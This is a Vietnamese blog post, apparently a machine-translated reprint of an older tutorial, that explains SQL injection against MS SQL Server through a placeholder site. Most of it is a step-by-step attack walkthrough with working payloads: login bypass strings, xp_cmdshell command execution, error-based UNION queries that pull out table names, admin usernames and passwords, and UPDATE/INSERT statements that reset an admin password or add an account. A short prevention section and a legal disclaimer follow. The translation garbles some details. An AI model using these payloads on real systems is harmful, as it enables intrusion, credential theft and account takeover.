• https://crush000.com

SQL Injection là gì? Cách phòng chống tấn công SQL Injection

SQL Injection là gì? Cách phòng chống tấn công SQL Injection

  • Admin
  • 03-10-2021
  • 15 view

SQL Injection là gì? Cách phòng chống tấn công SQL Injection
SQL Injection là gì? Cách phòng chống tấn công SQL Injection Thủ Thuật Deal Score00 Deal Score0 0

SQL injection không còn là một khái niệm mới, nhưng nó vẫn là một trong những kiểu tấn công mạng phổ biến nhất. Bài viết này có 12 phần, từ các khái niệm, các bước chèn SQL và ví dụ minh họa (trang web làm ví dụ chỉ mang tính minh họa, không có thật) đến cách ngăn chặn tấn công SQL injection để người đọc hiểu cách thức hoạt động của cuộc tấn công này, vì vậy hãy đề phòng bảo vệ trang web và hệ thống của bạn.ghi chú: Vui lòng không sử dụng phương thức này để tấn công website và hệ thống của các cá nhân, tổ chức khác, mọi hành động đó đều vi phạm pháp luật Việt Nam. Nếu bạn phát hiện thấy vi phạm bảo mật, vui lòng báo cáo với quản trị viên web và hệ thống để họ có thể khắc phục. Bài viết này chỉ nhằm mục đích giúp bạn hiểu các loại tấn công SQL injection và thực hiện các biện pháp phòng ngừa cho các ứng dụng web của bạn.

Hiểu SQL injection

  • 1. SQL injection là gì?
  • Phòng thí nghiệm tiêm SQL
  • 2. Các bước thực hiện SQL injection
    • 2.1. Tìm kiếm mục tiêu
    • 2.2. Kiểm tra các điểm yếu của trang web
    • 2.3. Tại sao ‘hoặc 1 = 1– có thể vượt qua bài kiểm tra đăng nhập?
    • 2.4. Sử dụng SQL injection để thực hiện các lệnh từ xa
    • 2.5. Nhận đầu ra của truy vấn SQL
    • 2.6. Lấy dữ liệu thông qua “Cơ sở dữ liệu sử dụng thông báo lỗi ODBC”
    • 2.7. Xác định tên của các cột trong bảng
    • 2.8. Thu thập dữ liệu quan trọng
    • 2.9. Nhận một chuỗi số
    • 2.10. Thay đổi dữ liệu cơ sở dữ liệu (cập nhật / chèn)
  • 3. Ngăn chặn việc đưa vào SQL
    • Ngăn chặn việc đưa vào SQL trong ASP.NET
  • 4. Tài liệu tham khảo

1. SQL injection là gì?

SQL Injection là một loại tấn công Web. Bằng cách đưa mã truy vấn / lệnh SQL vào đầu vào và sau đó chuyển nó đến ứng dụng Web để xử lý, bạn có thể đăng nhập, thực thi từ xa (thực thi từ xa) và kết xuất dữ liệu mà không cần tên người dùng và mật khẩu Và lấy máy chủ SQL gốc. Công cụ được sử dụng để tấn công là bất kỳ trình duyệt web nào, chẳng hạn như Internet Explorer, Netscape, Lynx …

Phòng thí nghiệm tiêm SQL

Bạn có thể hình dung toàn bộ quá trình tấn công SQL injection thông qua phòng thí nghiệm SQL injection đơn giản sau đây. Phòng thí nghiệm sẽ hiển thị một ví dụ về ứng dụng sử dụng lỗ hổng SQL injection. Bạn chỉ cần làm theo các bước trong hướng dẫn để thực hiện các cuộc tấn công như vậy.

Sau khi thực hiện thử nghiệm, bạn đã có những hiểu biết cơ bản về SQL injection, tuy nhiên nếu bạn muốn hiểu chi tiết hơn thì hãy đọc bài phân tích cụ thể dưới đây.

2. Các bước thực hiện SQL injection

2.1. Tìm kiếm mục tiêu

Bạn có thể tìm thấy các trang web cho phép gửi dữ liệu trong bất kỳ công cụ tìm kiếm nào trên Internet, chẳng hạn như đăng nhập, tìm kiếm, phản hồi, v.v.

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển các tham số qua các trường ẩn và bạn phải nhìn vào mã HTML để thấy rõ. Ví dụ dưới đây.

2.2. Kiểm tra các điểm yếu của trang web

Cố gắng gửi tên người dùng, mật khẩu hoặc trường ID, … sử dụng hi ‘hoặc 1 = 1–

Login: hi' or 1=1--Password: hi' or 1=1--http://yoursite.com/index.asp?id=hi' or 1=1--

Nếu trang web chuyển các thông số qua các trường ẩn, hãy tải xuống mã nguồn HTML, lưu nó vào ổ cứng của bạn và thay đổi URL cho phù hợp. Ví dụ:

Nếu thành công, bạn có thể đăng nhập mà không cần biết tên người dùng và mật khẩu của mình

2.3. Tại sao ‘hoặc 1 = 1– có thể vượt qua bài kiểm tra đăng nhập?

Giả sử có một trang ASP liên kết đến một trang ASP khác bằng URL sau:

http://yoursite.com/index.asp?category=food

Trong URL ở trên, biến ‘thể loại‘Được chỉ định cho’đồ ăn‘. Mã ASP cho trang này có thể trông như thế này (đây chỉ là một ví dụ):

v_cat = request("category")sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của yêu cầu biến (“thể loại”), là ‘đồ ăn‘Và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Truy vấn trên sẽ trả về tập kết quả chứa một hoặc nhiều hàng phù hợp với điều kiện WHERE PCategory = ‘food’

Nếu bạn thay đổi URL ở trên thành http://yoursite.com/index.asp?category=food ‘hoặc 1 = 1–, biến v_cat sẽ chứa giá trị “food” hoặc 1 = 1– và truy vấn SQL sẽ là :

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng truy vấn ở trên sẽ chọn mọi thứ trong bảng sản phẩm, bất kể giá trị của trường PCategory có bằng’food ‘hay không. Hai dấu gạch ngang (-) cho máy chủ MS SQL biết rằng dòng truy vấn đã kết thúc và bất kỳ thứ gì sau dấu “-” sẽ bị bỏ qua. Đối với MySQL, thay đổi “-” thành “#”

Hoặc, bạn có thể thử một cách khác bằng cách gửi ‘or’a’ = ‘a.Dòng truy vấn SQL bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác cũng nên được gửi để xem trang web có lỗi hay không:

' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a

2.4. Sử dụng SQL injection để thực hiện các lệnh từ xa

Nếu được cài đặt ở chế độ mặc định mà không có bất kỳ điều chỉnh nào, MS SQL Server sẽ chạy ở cấp hệ thống, tương đương với cấp truy cập quản trị viên trên Windows.Bạn có thể sử dụng các thủ tục được lưu trữ xp_cmdshell Trong cơ sở dữ liệu bậc thầy Thực hiện các lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Nếu dấu ngoặc kép đơn (‘) không hoạt động, hãy thử sử dụng dấu ngoặc kép (“).

Dấu chấm phẩy (sẽ kết thúc dòng truy vấn SQL hiện tại và cho phép thực thi các lệnh SQL mới. Để kiểm tra xem các lệnh trên có được thực thi hay không, bạn có thể sử dụng tcpdump để lắng nghe các gói ICMP từ 10.10.1.2, như hình dưới đây:

#tcpdump icmp

Nếu bạn nhận được một yêu cầu ping từ 10.10.1.2, lệnh đã được thực hiện.

2.5. Nhận đầu ra của truy vấn SQL

Bạn có thể sử dụng sp_makewebtask để ghi đầu ra của truy vấn SQL vào tệp HTML

'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Lưu ý: Thư mục “đăng lại“Nó phải được chia sẻ với mọi người trước.

2.6. Lấy dữ liệu thông qua “Cơ sở dữ liệu sử dụng thông báo lỗi ODBC”

Thông báo lỗi MS SQL Server thường cung cấp cho bạn thông tin quan trọng. Lấy ví dụ về http://yoursite.com/index.asp?id=10 ở trên làm ví dụ, bây giờ chúng ta hãy thử hợp nhất số nguyên ’10’ với một chuỗi khác trong cơ sở dữ liệu:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng trên máy chủ.Trường TABLE_NAME chứa tên của mỗi bảng trong cơ sở dữ liệu. Chúng tôi chọn nó vì chúng tôi biết nó luôn tồn tại. Truy vấn của chúng tôi là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng truy vấn này sẽ trả về tên của bảng đầu tiên trong cơ sở dữ liệu

Khi chúng tôi kết hợp chuỗi này với số nguyên 10 thông qua câu lệnh UNION, MS SQL Server sẽ cố gắng chuyển đổi chuỗi (nvarchar) thành một số nguyên. Nếu không thể chuyển đổi nvarchar thành int, điều này sẽ gây ra lỗi và máy chủ sẽ hiển thị thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value'table1' to a column of data type int./index.asp, line 5

Thông báo lỗi trên cho biết rằng giá trị muốn được chuyển đổi thành số nguyên nhưng không thể, “Bảng 1Đây cũng là tên của bảng đầu tiên trong cơ sở dữ liệu mà chúng tôi muốn có.

Để lấy tên của bảng tiếp theo, bạn có thể sử dụng truy vấn sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Bạn cũng có thể thử tìm dữ liệu theo cách khác thông qua câu lệnh LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Sau đó, thông báo lỗi SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int./index.asp, line 5

Chế độ so sánh “% 25login% 25” tương đương với% login% trong SQL Server. Như có thể thấy từ thông báo lỗi trên, chúng ta có thể xác định rằng tên của một bảng quan trọng là “Đăng nhập quản trị viên“.

2.7. Xác định tên của các cột trong bảng

Bảng INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các cột trong bảng. Những điều sau đây có thể được sử dụng:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Sau đó, thông báo lỗi SQL Server có thể trông giống như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int./index.asp, line 5

Vì vậy, tên của cột đầu tiên là “Đăng nhập số nhận dạng“. Để lấy tên của cột tiếp theo, bạn có thể sử dụng mệnh đề NOT IN () logic như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Sau đó, thông báo lỗi SQL Server có thể trông giống như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int./index.asp, line 5

Tương tự như trên, bạn có thể lấy tên của các cột còn lại, chẳng hạn như “mật khẩu mở khóa“,”chi tiết“. Sau đó, chúng tôi nhận được tên của các cột này thông qua thông báo lỗi SQL Server, như được hiển thị trong ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Sau đó, thông báo lỗi SQL Server có thể trông giống như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator./index.asp, line 5

2.8. Thu thập dữ liệu quan trọng

Chúng tôi đã xác định tên của các bảng và cột quan trọng. Chúng tôi sẽ thu thập thông tin quan trọng từ các bảng và cột này.

Có thể được thực hiện tên đăng nhập Đầu tiên trong bảng “Đăng nhập quản trị viên” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Sau đó, thông báo lỗi SQL Server có thể trông giống như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int./index.asp, line 5

Thật dễ dàng để xác định người dùng quản trị viên đầu tiên có tên đăng nhập là “anchor”. Cố gắng lấy mật khẩu của “anchor” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

Sau đó, thông báo lỗi SQL Server có thể trông giống như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int./index.asp, line 5

Bây giờ bạn có thể đăng nhập bằng tên người dùng của mình “mỏ neo“,mật khẩu là”m4trix“.

2.9. Nhận một chuỗi số

Phương pháp trên có những hạn chế nhỏ. Nếu máy chủ có thể chuyển đổi chính xác văn bản sang dạng số (văn bản chỉ chứa các ký tự số từ 0 đến 9), chúng tôi sẽ không nhận được thông báo lỗi. Giả sử mật khẩu là “Trinity“Trở nên”31173“. Vì vậy, nếu chúng ta thực hiện lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_loginwhere login_name="trinity"--

Sau đó chỉ nhận được thông báo lỗi “không tìm thấy trang”. Lý do là vì máy chủ có thể truyền mật khẩu “31173“Đối với số trước UNION với số nguyên 10. Để giải quyết vấn đề này, chúng tôi có thể thêm một số ký tự chữ cái vào chuỗi số này để thực hiện chuyển đổi văn bản thành số của máy chủ không thành công. Dòng truy vấn mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name="trinity"--

Chúng tôi sử dụng dấu cộng (+) để nối văn bản vào mật khẩu (mã ASCII của “+” là 0x2b). Chúng tôi thêm chuỗi ‘(khoảng trắng) morpheus’ vào cuối mật khẩu để tạo một chuỗi không phải số mới ‘31173 morpheus’. Khi hàm convert () được gọi để chuyển đổi ‘31173 morpheus’ thành một số nguyên, SQL Server sẽ đưa ra thông báo lỗi ODBC sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int./index.asp, line 5

Điều này có nghĩa là bây giờ chúng tôi cũng có thể đăng nhập bằng tên người dùng ‘Trinity‘Và mật khẩu là’31173

2.10. Thay đổi dữ liệu cơ sở dữ liệu (cập nhật / chèn)

Sau khi có được tên của tất cả các cột trong bảng, bạn có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi / tạo bản ghi mới trong bảng này.

thay đổi mật khẩu “mỏ neo“, bạn có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name="neo"--

Hoặc, nếu bạn muốn có một bản ghi mới trong bảng:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Bây giờ bạn có thể đăng nhập bằng tên người dùng của mình “Mới 2“,mật khẩu là”Thẻ mới 5

3. Ngăn chặn việc đưa vào SQL

Các tổ chức có thể tập trung vào các bước sau để tự bảo vệ mình khỏi các cuộc tấn công SQL injection:

  • Không bao giờ tin tưởng đầu vào của người dùng: bạn phải luôn xác thực dữ liệu trước khi sử dụng nó trong câu lệnh SQL.
  • Các thủ tục được lưu trữ: Các thủ tục này có thể trừu tượng hóa các lệnh SQL và coi tất cả các đầu vào là tham số. Do đó, nó không ảnh hưởng đến cú pháp lệnh SQL.
  • Các lệnh chuẩn bị: Điều này liên quan đến việc tạo một truy vấn SQL như là thao tác đầu tiên và sau đó xử lý tất cả dữ liệu được gửi dưới dạng tham số.
  • Biểu thức chính quy: Được sử dụng để phát hiện mã độc hại và xóa nó trước khi thực thi các câu lệnh SQL.
  • Sửa thông tin sai: Thông tin sai tuyệt đối tránh để lộ thông tin / chi tiết nhạy cảm và sai vị trí trên thông tin sai.
  • Hạn chế quyền truy cập của người dùng vào cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập cần thiết mới kết nối với cơ sở dữ liệu. Điều này giúp giảm số lượng lệnh SQL được thực thi tự động trên máy chủ.
  • Vui lòng xóa siêu ký tự như ‘”/; và các ký tự mở rộng như NULL, CR, LF, … trong chuỗi nhận được từ địa chỉ sau:
    • Người dùng đã gửi đầu vào
    • Các thông số từ URL
    • Giá trị từ cookie
  • Đối với các giá trị số, hãy chuyển đổi nó thành một số nguyên trước truy vấn SQL hoặc sử dụng ISNUMERIC để đảm bảo rằng nó là một số nguyên.
  • Trong tab Bảo mật máy chủ SQL, hãy thay đổi “Khởi động và chạy SQL Server” để sử dụng cấp người dùng có đặc quyền thấp.
  • Xóa thủ tục được lưu trữ trong cơ sở dữ liệu bậc thầy Không sử dụng một cái gì đó như:
    • xp_cmdshell
    • xp_startmail
    • xp_sendmail
    • sp_makewebtask

Ngăn chặn việc đưa vào SQL trong ASP.NET

Các phương pháp để ngăn chặn SQL injection được giới thiệu trong Phần 12 đã bao gồm đủ các phương pháp, nhưng trong ASP.NET, có một cách đơn giản để ngăn việc sử dụng Tham số khi sử dụng các đối tượng SqlCommand (hoặc OleDbCommand) thay vì sử dụng trực tiếp các câu lệnh SQL. Sau đó .NET sẽ tự động xác minh kiểu dữ liệu và nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, các thông báo lỗi cần được kiểm soát tốt. Cài đặt mặc định trong ASP.NET là không hiển thị chi tiết thông báo lỗi khi nó không chạy trên máy chủ cục bộ.

4. Tài liệu tham khảo

1.How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=62.Great article on gathering information from ODBC error messageshttp://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc3.A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml4.Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm5.Khác:http://www.digitaloffense.net/warga.../IOWargames.ppthttp://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

In lại từ các bài báo sưu tầm trên Internet Từ bài gốc “Hướng dẫn chèn SQL“Từ xfocus.net

Trên đây là tất cả những gì có trong SQL Injection là gì? Cách phòng chống tấn công SQL Injection mà chúng tôi muốn chia sẻ với các bạn. Bạn ấn tượng với điều gì nhất trong số đó? Liệu chúng tôi có bỏ sót điều gì nữa không? Nếu bạn có ý kiến về SQL Injection là gì? Cách phòng chống tấn công SQL Injection, hãy cho chúng tôi biết ở phần bình luận bên dưới. Hoặc nếu thấy bài viết này hay và bổ ích, xin đừng quên chia sẻ nó đến những người khác.

Facebook
Bạn cần đưa danh sách của mình lên https://crush000.com? Hãy liên hệ ngay với chúng tôi để được hỗ trợ đăng bài viết!
05 Comments

Post Comment

(*) Lưu ý:
+ 1: Bạn phải sử dụng email thật, một email xác thực sẽ được gửi đi sau khi bạn gửi comment để xác nhận bạn không phải là người máy. Nếu bạn không xác nhận email, comment của bạn CHẮC CHẮN sẽ không được duyệt.
+ 2: Bạn chỉ cần xác thực email cho lần đầu tiên, những lần sau sẽ không cần xác thực
+ 3: Chúng tôi sẽ không hiển thị công cộng email của bạn